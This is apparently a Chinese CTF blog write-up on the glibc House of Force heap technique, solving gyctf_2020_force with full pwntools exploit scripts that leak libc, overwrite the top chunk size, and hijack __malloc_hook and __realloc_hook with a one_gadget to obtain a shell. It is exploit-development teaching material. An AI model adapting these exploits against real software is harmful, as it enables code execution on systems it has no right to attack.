House_Of_Force

D0wnBe@t Lv4

提要

参考文章:ctfwiki

神奇的泄露libc:通过malloc大于top chunk size的chunk,泄露出的chunk地址与libc存在固定的偏移

原理介绍

运用条件

  • 可以修改top chunk的size大小
  • 可以控制分配任意大小的chunk

原理分析

当我们malloc的时候,若是空闲的堆块无法满足malloc的要求,就会从top chunk中分割合适的chunk

  • 如果top chunk的分配的size是由我们控制,那么我们可以造成任意地址写

但是这里涉及到top chunk size的验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
// 注意size是一个无符号整型
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
  • 要绕过第一个验证很简单,只需要将size修改为一个很大的数字就行了,如0xffffffffffff,这也是利用条件1的必要性
1
2
remainder      = chunk_at_offset(victim, nb);
av->top = remainder;
  • 上述代码实现了更新top chunk的指针, 我们只要控制分配的size,就可以实现任意地址写了。

  • 其余的看开头文章,注意一个对齐规则。

例题分析

gyctf_2020_force

题目链接

ida速览

main

  • 只有一个add功能
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, nptr, 0xFuLL);
v3 = atol(nptr);
if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
show(); // 没什么用的puts
}
}
}

add

思路分析(本地运行分析)

  • 只有一个add函数,只要malloc size小于0x50,就存在堆溢出,可以用来修改top chunk size

泄露Libc

  • 但是如何泄露libc呢?如开头所说,神奇的泄露libc,我们malloc一个很大的size,此时是通过mmap分配的chunk,该chunk的地址和libc存在固定的偏移,如下:
1
2
libc_base = add(0x200000,b'bbbb') + 0x3ffff0 # libc文件不同,偏移不同
success("libc_base address : "+hex(libc_base))

  • 左边就是泄露的地址,右边是libc的地址,固定偏移在gdb里面用distance求一下即可,这样我们就获得了libc的基地址

实现HOF

  • 接下来就是修改topchunk的size,并且为修改malloc_hook做好准备
1
2
3
4
5
6
7
8
9
10
# 有堆溢出,可打House of Force
payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff)
heapaddr = add(0x10,payload) # size = 0x21,topchunk在该chunk的+0x10处
success("chunk0 address : "+hex(heapaddr))
top = heapaddr + 0x10

malloc_hook = libc_base + libc.sym['__malloc_hook']
# one= [0x45216,0x4526a,0xf02a4,0xf1147] # 远程环境的onegadget
onegadget = libc_base + 0x4527a # 本地偏移
realloc = libc_base + libc.sym['__libc_realloc']
  • 简单的溢出修改top chunk 的 size,并且通过chunk0获得top chunk的地址,通过libc基地址获得对应函数地址
  • 下面就是任意地址写了,先要确定offset是多少。这里我们要修改malloc_hook函数为onegadget,那么offset 就是malloc_hook - top chunk
1
offset =  malloc_hook - top 
  • 偏移确认完成,正式的运用却是offset-0x20,-0x10用于对于,-0x10将malloc_hook放到user data部分
1
2
3
4
offset =  malloc_hook - top 
success("offset : "+hex(offset))
add(offset - 0x20,b'bbbb')
add(0x10,p64(onegadget))

  • 最后只需要再次调用malloc即可,但是可以发现,将onegadget都试完,也是无法getshell的,为什么呢?

realloc和malloc共同利用

  • 参考我写的:[这篇文章](https://www.yuque.com/yuqueyonghupiiwso/gixo00/pdl4hxuh2ub4g3vd?singleDoc# 《fastbin_attack》)
  • 所以我们还需要将offset-0x10,去修改realloc_hook为onegadget,然后将malloc函数修改为realloc+n的位置(也是需要尝试的,一般是0x4)
  • 当我们调用malloc的时候,先执行push,将rsp往低地址调,然后执行realloc_hook即onegadget,从而getshell.
1
2
3
4
5
6
7
8
9
offset =  malloc_hook - top 
success("offset : "+hex(offset))
add(offset - 0x30,b'bbbb')
add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4))

p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(1))
p.interactive()

本地完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") # 本地

def bug():
gdb.attach(p)
pause()

def add(size,content):
p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(size))
p.recvuntil("addr 0x")
heapaddr = int(p.recv(12),16)
p.recvuntil("content\n")
p.sendline(content)
return heapaddr

# 对size无限制,malloc大chunk使得mmap分配chunk
# 该chunk和libc有固定的偏移
libc_base = add(0x200000,b'bbbb') + 0x3ffff0
success("libc_base address : "+hex(libc_base))
#bug()

# 有堆溢出,可打House of Force
payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff)
heapaddr = add(0x10,payload) # size = 0x21,topchunk在该chunk的+0x10处
success("chunk0 address : "+hex(heapaddr))
top = heapaddr + 0x10

malloc_hook = libc_base + libc.sym['__malloc_hook']
onegadget = libc_base + 0x4527a # 本地的onegadget
realloc = libc_base + libc.sym['__libc_realloc']
success("onegadget : "+hex(onegadget))

offset = malloc_hook - top
success("offset : "+hex(offset))
add(offset - 0x30,b'bbbb')
add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4))
#bug()

p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(1))
p.interactive()

远程完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')

p = remote("node5.buuoj.cn",28245)
#p = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") # 本地
libc = ELF("./libc-2.23.so")
def bug():
gdb.attach(p)
pause()

def add(size,content):
p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(size))
p.recvuntil("addr 0x")
heapaddr = int(p.recv(12),16)
p.recvuntil("content\n")
p.sendline(content)
return heapaddr

# 对size无限制,malloc大chunk使得mmap分配chunk
# 该chunk和libc有固定的偏移
libc_base = add(0x200000,b'bbbb') + 0x200ff0 # libc不同,偏移不同
success("libc_base address : "+hex(libc_base))
#bug()

# 有堆溢出,可打House of Force
payload = b'a'*0x10 + p64(0) + p64(0xffffffffffffffff)
heapaddr = add(0x10,payload) # size = 0x21,topchunk在该chunk的+0x10处
success("chunk0 address : "+hex(heapaddr))
top = heapaddr + 0x10

malloc_hook = libc_base + libc.sym['__malloc_hook'] #
# one= [0x45216,0x4526a,0xf02a4,0xf1147]
onegadget = libc_base + 0x4526a
realloc = libc_base + libc.sym['__libc_realloc']
success("onegadget : "+hex(onegadget))

offset = malloc_hook - top
success("offset : "+hex(offset))
add(offset - 0x30,b'bbbb')
add(0x10,p64(0) + p64(onegadget) + p64(realloc+0x4)) # +0x10也是可以的

p.sendlineafter("2:puts\n",str(1))
p.sendlineafter("size\n",str(1))
p.interactive()

  • 标题: House_Of_Force
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-26 12:49:57
  • 更新于 : 2024-11-06 13:06:27
  • 链接: http://downbeat.top/2024/09/26/House-Of-Force/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论